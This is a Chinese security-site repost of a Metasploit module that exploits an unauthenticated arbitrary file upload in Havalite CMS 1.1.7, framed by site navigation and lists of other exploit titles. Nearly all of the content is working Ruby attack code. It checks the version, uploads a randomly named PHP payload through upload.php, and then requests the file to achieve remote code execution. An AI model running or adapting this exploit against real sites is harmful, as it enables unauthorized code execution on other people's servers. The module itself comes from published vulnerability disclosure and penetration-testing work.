首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Havalite CMS Arbitary File Upload Exploit
来源:metasploit.com 作者:sinn3r 发布时间:2013-06-20  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Havalite CMS Arbitary File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
        possibly prior.  Attackers can abuse the upload feature in order to upload a
        malicious PHP file without authentication, which results in arbitary remote code
        execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'CWH',
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '94405'],
          ['EDB', '26243']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Platform'       => ['linux', 'php'],
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 17 2013",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
        ], self.class)
  end


  def peer
    "#{rhost}:#{rport}"
  end


  #
  # Checks if target is running HavaLite CMS 1.1.7
  # We only flag 1.1.7 as vulnerable, because we don't have enough information from
  # the vendor or OSVDB about exactly which ones are really vulnerable.
  #
  def check
    uri = normalize_uri(target_uri.path, 'havalite/')
    res = send_request_raw({'uri' => uri})

    if not res
      print_error("#{peer} - Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
    version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''

    if not version.empty? and version =~ /1\.1\.7/
      print_status("#{peer} - Version found: #{version}")
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Unknown
  end


  #
  # Uploads our malicious file
  #
  def upload(base)
    p     = get_write_exec_payload(:unlink_self=>true)
    fname = "#{rand_text_alpha(5)}.php"

    data = Rex::MIME::Message.new
    data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(base, 'havalite', 'upload.php'),
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    })

    if not res
      fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i == 404
      fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found")
    elsif res.body =~ /"error"\:"abort"/
      fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}")
    end

    return fname
  end


  #
  # Executes our uploaded malicious file
  #
  def exec(base, payload_fname)
    res = send_request_raw({
      'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
    })

    if res and res.code == 404
      fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
    end
  end


  def exploit
    base = target_uri.path

    print_status("#{peer} - Uploading malicious file...")
    fname = upload(base)

    print_status("#{peer} - Executing #{fname}...")
    exec(base, fname)
  end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FreeBSD mmap Privilege Escalat
·TP-Link Print Server TL PS110U
·MoinMoin twikidraw Action Trav
·MusicBee 2.0.4663 (.M3U) - Den
·Solaris 10 Patch Cluster File
·FreeBSD 9.0 / 9.1 mmap/ptrace
·Winamp 5.12 (.m3u) - Stack Bas
·ASC Timetables 2013 - Stack Bu
·Adrenalin Player 2.2.5.3 (.wax
·Mediacoder .m3u SEH Buffer Ove
·Easy LAN Folder Share Version
·Mediacoder .lst SEH Buffer Ove
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved